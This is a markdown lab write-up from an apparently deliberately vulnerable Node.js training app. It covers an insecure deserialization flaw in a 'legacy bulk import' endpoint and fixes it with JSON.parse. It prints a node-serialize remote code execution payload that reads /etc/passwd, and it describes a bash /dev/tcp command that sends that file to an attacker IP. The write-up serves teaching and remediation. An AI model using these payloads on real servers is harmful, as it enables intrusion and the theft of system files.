Skip to content

Latest commit

 

History

History
69 lines (48 loc) · 2.21 KB

a8-insecure-deserialization.md

File metadata and controls

69 lines (48 loc) · 2.21 KB

Insecure Deserialization

The Legacy Bulk Import feature at http://127.0.0.1:9090/app/bulkproducts?legacy=true does not securely deserialize the data thus allowing remote code execution.

jse1

To execute code we need to provide a serialized object to the server. The object (as shown below) in this case would be a function that uses the child_process library to invoke bash -c -- \"cat /etc/passwd > /dev/tcp/attacker-ip/nc-port\". The function is made into an Immediately Invoked function Expression (IIFE) by adding () to the end of the function

The following input will trigger the vulnerability

{"rce":"_$$ND_FUNC$$_function (){require('child_process').exec('id;cat /etc/passwd', function(error, stdout, stderr) { console.log(stdout) });}()"}

which is the serialized version of

var y = {
 rce : function(){
 require('child_process').exec('id;cat /etc/passwd', function(error, stdout, stderr) { console.log(stdout) });
 }(),
}

jse2

Vulnerable Code snippet

core/appHandler.js

...
module.exports.bulkProductsLegacy = function (req,res){
	// TODO: Deprecate this soon
	if(req.files.products){
		var products = serialize.unserialize(req.files.products.data.toString('utf8'))
...

Solution

Since the required feature is to essentially parse a JSON, it can be parsed securely using JSON.parse instead.

core/appHandler.js

...
module.exports.bulkProductsLegacy = function (req,res){
	// TODO: Deprecate this soon
	if(req.files.products){
		var products = JSON.parse(req.files.products.data.toString('utf8'))
...

Fixes

Implemented in the following files

  • core/appHandler.js

The fix has been implemented in this commit

Recommendation

  • Use secure and recommended ways to implement application features
  • Ensure that potentially vulnerable legacy features are't accessible

Reference